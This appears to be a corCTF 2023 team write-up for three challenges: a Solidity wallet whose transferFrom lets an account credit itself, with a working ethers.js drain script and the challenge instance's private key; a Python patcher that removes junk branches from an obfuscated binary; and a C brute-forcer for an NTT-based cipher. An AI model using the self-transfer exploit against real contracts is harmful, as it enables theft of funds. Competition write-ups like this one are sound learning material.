https://twitter.com/cor_ctf/status/1685802639270043648 participated with `cat :flag_kr:` and placed 3rd # blockchain/baby-wallet > (24 solves) ```solidity= //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.17; // 100 ether contract BabyWallet { mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw(uint256 amt) public { // check effect interaction require(balances[msg.sender] >= amt, "You can't withdraw that much"); balances[msg.sender] -= amt; (bool success, ) = msg.sender.call{value: amt}(""); require(success, "Failed to withdraw that amount"); } function approve(address recipient, uint256 amt) public { allowances[msg.sender][recipient] += amt; } ... function transferFrom(address from, address to, uint256 amt) public { uint256 allowedAmt = allowances[from][msg.sender]; uint256 fromBalance = balances[from]; uint256 toBalance = balances[to]; require(fromBalance >= amt, "You can't transfer that much"); require(allowedAmt >= amt, "You don't have approval for that amount"); balances[from] = fromBalance - amt; balances[to] = toBalance + amt; allowances[from][msg.sender] = allowedAmt - amt; } ... } ``` The goal is to steal all ether (100 ether) from the BabyWallet contract. User starts with 5000 ether. the vulnerability is in the transferFrom function. If `from` equals to `to`, ```solidity balances[from] = fromBalance - amt; balances[to] = toBalance + amt; ``` the User can add amt to their balance ( Users must deposit an amount equal to or greater than amt ) I think I saw this vuln on Twitter. ```solidity balances[from] -= amt; balances[to] += amt; ``` And thought this code will be safe. the exploit flow: 1. deposit 100 ether 2. approve user 100 ether 3. transfer user to user with 100 ether 4. withdraw 200 ether ###### `exploit.js` ```javascript= const ethers = require('ethers'); const fs = require('fs'); url = 'https://baby-wallet.be.ax/381a0939-1e95-42dd-9cda-70a2880adf7b' user = '0xE374b91523278549A86a7d3c1b9Cf4B918F1063d' pvKey = '0x450dbd4c36847123df88f1aec977197cba7dd676a725a70bd4fc3ce023a95dee' setupAddr = '0x3efA52920e554DF6A8738A717450598f0e3202c4'; // default wallet /* ticket{401a09c398b4015b20178132cabba425} uuid: 381a0939-1e95-42dd-9cda-70a2880adf7b rpc endpoint: https://baby-wallet.be.ax/381a0939-1e95-42dd-9cda-70a2880adf7b private key: 0x450dbd4c36847123df88f1aec977197cba7dd676a725a70bd4fc3ce023a95dee your address: 0xE374b91523278549A86a7d3c1b9Cf4B918F1063d setup contract: 0x3efA52920e554DF6A8738A717450598f0e3202c4 */ async function main() { provider = new ethers.providers.JsonRpcProvider(url); const signer = new ethers.Wallet( pvKey, provider ) console.log(ethers.utils.formatUnits(await provider.getBalance(user)).toString()); setupAbi = JSON.parse(fs.readFileSync('./out/Setup.sol/Setup.json', 'utf8'))['abi']; walletAbi = JSON.parse(fs.readFileSync('./out/BabyWallet.sol/BabyWallet.json', 'utf8'))['abi']; const setup = new ethers.Contract(setupAddr, setupAbi, signer); const walletAddr = await setup.wallet(); const wallet = new ethers.Contract(walletAddr, walletAbi, signer); await wallet.deposit({value: ethers.utils.parseEther('100')}); await wallet.approve(user, ethers.utils.parseEther('100')); await wallet.transferFrom(user,user,ethers.utils.parseEther('100')); console.log((await wallet.balances(user)).toString()); await wallet.withdraw(ethers.utils.parseEther('200')); console.log((await provider.getBalance(walletAddr)).toString()); } main(); ``` > corctf{inf1nite_m0ney_glitch!!!} # rev/utterly-deranged (60 solves) The huge binary is given. It can't be decompiled with IDA because it has too many dummy codes that makes branches ![](https://hackmd.io/_uploads/rygpYxroh.png) these codes (test,jnz,jmp) can be removed with nop. I patched the code. if the target address of jmp is 0x416948 or larger, it can be replaced with nop. ###### `patch.py` ```python= import re from pwn import * context.arch="amd64" f = open("./utterlyderanged","rb").read() main = f[0x1170:0x16935] BASE = 0x401170 MAIN_END = 0x416900 breaking = [] breaking.append(re.compile(b'\x75\x05\xe9.{4}')) # jz & jmp breaking.append(re.compile(asm("test rax,1;")+b'\x0f.{5}')) breaking.append(re.compile(asm("test al,1;")+b'\x0f.{5}')) breaking.append(re.compile(asm("test rdx,1;")+b'\x0f.{5}')) breaking.append(re.compile(asm("test dl,1;")+b'\x0f.{5}')) breaking.append(re.compile(asm("test rcx,1;")+b'\x0f.{5}')) breaking.append(re.compile(asm("test cl,1;")+b'\x0f.{5}')) breaking.append(re.compile(asm("test rdi,1;")+b'\x0f.{5}')) breaking.append(re.compile(asm("test dil,1;")+b'\x0f.{5}')) for b in breaking: idxes = list(b.finditer(main)) for idx in idxes: start,end = idx.span() opcodes = idx.group() addr = u32(opcodes[-4:])+start+BASE+10 if addr > MAIN_END: main = main[:start]+b'\x90'*(end-start)+main[end:] strange = [] strange.append(asm("test rax,1;nop;")) strange.append(asm("test al,1;nop;")) strange.append(asm("test rdx,1;nop;")) strange.append(asm("test dl,1;nop;")) strange.append(asm("test rcx,1;nop;")) strange.append(asm("test cl,1;nop;")) strange.append(asm("test rdi,1;nop;")) strange.append(asm("test dl,1;nop;")) for s in strange: idxes = list(re.finditer(s,main)) for idx in idxes: start,end = idx.span() main = main[:start]+b'\x90'*(end-start)+main[end:] out = f[:0x1170]+main+f[0x16935:] print(len(out)) with open("./utterlyderanged_patched","wb") as f: f.write(out) ``` Now the binary can be decompiled. It has some logic that generate xor table and just xor with input and compare with some data. I just dumped that xor table and xored with some data. ![](https://hackmd.io/_uploads/SJTwibri3.png) ![](https://hackmd.io/_uploads/HkqCsWBsn.png) xor table. bp at 0x0000000000414F87 > corctf{s331ng\_thru\_my\_0p4qu3\_pr3d1c4t35} # rev/diophantus (9 solves) The binary compiled with Rust is given. It was hard time to analysis the logic due to hidden logic due to decompiler after calling encrypt_ntt function ```! _$LT$core..slice..iter..IterMut$LT$T$GT$$u20$as$u20$core..iter..traits..iterator..Iterator$GT$::for_each::h034ba2e141d3316a -> encrypt::main::_$u7b$$u7b$closure$u7d$$u7d$::haec5bb9b009b33ff ``` ```python= def encrypt_ntt(key,buf): if len(buf)==1: return even_array = [0] * (len(buf)//2) odd_array = [0] * (len(buf)//2) for i in range(len(buf)//2): even_array[i] = buf[i*2] odd_array[i] = buf[i*2+1] encrypt_ntt(key,even_array) encrypt_ntt(key,odd_array) mod = pow(key,1<<(16 - int(math.log2(len(buf)))),0x10001) len_div2 = len(buf)>>1 v30 = 1 for i in range(len_div2): v15 = v30 v13 = odd_array[i] * v15 % 0x10001 buf[i] = (even_array[i]+v13) % 0x10001 buf[i+len_div2] = (even_array[i]+0x10001 - v13) % 0x10001 v30 = v30 * mod % 0x10001 def decrypt_ntt(key, buf): if len(buf) == 1: return even_array_enc = [0] * (len(buf)//2) odd_array_enc = [0] * (len(buf)//2) mod = pow(key,1<<(16 - int(math.log2(len(buf)))),0x10001) len_div2 = len(buf)>>1 for i in range(len_div2 - 1, -1, -1): v30 = pow(mod, i, 0x10001) v13 = (buf[i] - buf[i + len_div2]) * inverse(2, 0x10001) % 0x10001 even_array_enc[i] = (buf[i] + buf[i + len_div2]) * inverse(2, 0x10001) % 0x10001 odd_array_enc[i] = v13 * inverse(v30, 0x10001) % 0x10001 decrypt_ntt(key, even_array_enc) decrypt_ntt(key, odd_array_enc) for i in range(len(buf)//2): buf[i*2] = int(even_array_enc[i]) buf[i*2+1] = int(odd_array_enc[i]) def decrypt(inp,key1,key2): len_log2 = int(math.log2(len(inp)))+1 inp = [pow(pow(1<<len_log2>>1,0xffff,0x10001),-1,0x10001)*inp[i] % 0x10001 for i in range(len(inp))] decrypt_ntt(key2,inp) inp =[(inp[i]-key2) * inverse(key1, 0x10001) % 0x10001 for i in range(len(inp))] decrypt_ntt(key1,inp) return inp def encrypt(inp,key1,key2): encrypt_ntt(key1,inp) inp = [(inp[i]*key1 + key2) for i in range(len(inp))] encrypt_ntt(key2,inp) inp = [inp[i] * pow(1<<len_log2>>1,0xffff,0x10001) % 0x10001 for i in range(len(inp))] return inp ``` rewrote with python. my teammate @poro helped to write decrypt function. ``` ./encrypt flag.txt key1 key2 > flag.enc ``` the flag was encrypted like above. and i had no idea how to get key1,key2 the range of key each key is 1 ~ 0x10001. So I just bruteforced the key. I rewrote it in c using multithreading and compiled it with the -O3 option. ###### `decrypt.c` ```c= #include <stdio.h> #include <stdlib.h> #include <math.h> #include <string.h> #include <pthread.h> #define THREAD_COUNT 6 long long mod_pow(long long base, long long exp, long long mod) { long long result = 1; while (exp > 0) { if (exp % 2 == 1) { result = (result * base) % mod; } base = (base * base) % mod; exp /= 2; } return result; } long long inverse(long long num, long long mod) { if (num == 0) { return 0; } return mod_pow(num, mod - 2, mod); } void decrypt_ntt(long long key, long long *buf, long long len) { if (len == 1) { return; } long long *even_array_enc = (long long *)malloc(len / 2 * sizeof(long long)); long long *odd_array_enc = (long long *)malloc(len / 2 * sizeof(long long)); long long mod = mod_pow(key, 1 << (16 - (long long)log2(len)), 0x10001); long long len_div2 = len >> 1; for (int i = len_div2 - 1; i >= 0; i--) { long long v30 = mod_pow(mod, i, 0x10001); long long v13 = ((buf[i] - buf[i + len_div2])) * inverse(2, 0x10001) % 0x10001; if (v13 < 0) { v13 += 0x10001; } even_array_enc[i] = ((buf[i] + buf[i + len_div2])) * inverse(2, 0x10001) % 0x10001; if (even_array_enc[i] < 0) { even_array_enc[i] += 0x10001; } odd_array_enc[i] = v13 * inverse(v30, 0x10001) % 0x10001; if (odd_array_enc[i] < 0) { odd_array_enc[i] += 0x10001; } } decrypt_ntt(key, even_array_enc, len / 2); decrypt_ntt(key, odd_array_enc, len / 2); for (long long i = 0; i < len_div2; i++) { buf[i * 2] = even_array_enc[i]; buf[i * 2 + 1] = odd_array_enc[i]; } free(even_array_enc); free(odd_array_enc); } void decrypt(long long *buf, long long len, long long key1, long long key2) { long long len_log2 = (long long)log2(len); long long len_div = len >> 1; for (int i = 0; i < len_div; i++) { buf[i] = buf[i] * inverse(mod_pow(len_div, 0xffff, 0x10001), 0x10001) % 0x10001; } decrypt_ntt(key2, buf, len_div); for (int i = 0; i < len_div; i++) { buf[i] = (buf[i] - key2) * inverse(key1, 0x10001) % 0x10001; } decrypt_ntt(key1, buf, len_div); } struct ThreadArgs { int *cnt; long long key1_start; long long key1_end; long long *buf; }; void* threadDecrypt(void* args) { struct ThreadArgs* threadArgs = (struct ThreadArgs*)args; long long key2 = 0; long long buf[512] = {0}; long long buf2[512] = {0}; unsigned char out[512] = {0}; for (int i = 0; i < 256; i++) { buf[i] = threadArgs->buf[i]; } for (long long key1 = threadArgs->key1_end; key1 >= threadArgs->key1_start; key1--) { for (key2 = 0; key2 <= 0x10001; key2++) { memset(buf2, 0, sizeof(buf2)); for (int i = 0; i < 256; i++) { buf2[i] = buf[i]; } decrypt(buf2, 0x40, key1, key2); if (buf2[0] == 25455 && buf2[1] == 29283 && buf2[2] == 29798) { int c = 0; for (int i = 0; i < 256; i++) { out[c++] = buf2[i] >> 8; out[c++] = buf2[i] & 0xff; } printf("%s\n", out); printf("%lld, %lld\n", key1, key2); } } (*threadArgs->cnt)++; if(*threadArgs->cnt % 0x10 == 0) { printf("%lld\n", key1); } } return NULL; } int cnt = 0; int main(void) { unsigned char reader[512] = {0,}; long long buf[512] = {0,}; int c = 0; // open ./flag.enc FILE *fp = fopen("./flag.enc", "r"); // read flag.enc fread(reader, 1, 512, fp); for (int i = 0; i < 256; i += 2) { buf[c++] = reader[i] << 8 | reader[i + 1]; } // Divide key1 range into THREAD_COUNT parts long long key1_range = 0x10001 / THREAD_COUNT; pthread_t threads[THREAD_COUNT]; struct ThreadArgs threadArgs[THREAD_COUNT]; // Create and run threads for (int i = 0; i < THREAD_COUNT; i++) { threadArgs[i].key1_start = i * key1_range; threadArgs[i].key1_end = (i == THREAD_COUNT - 1) ? 0x10001 : (i + 1) * key1_range - 1; threadArgs[i].cnt = &cnt; threadArgs[i].buf = buf; printf("%lld, %lld\n", threadArgs[i].key1_start, threadArgs[i].key1_end); pthread_create(&threads[i], NULL, threadDecrypt, (void*)&threadArgs[i]); } // Wait for all threads to finish for (int i = 0; i < THREAD_COUNT; i++) { pthread_join(threads[i], NULL); } return 0; } ``` > corctf{i_l0v3_s0lv1ng_nUmb3r_th30r3tic_tR@n5f0rmS!!!}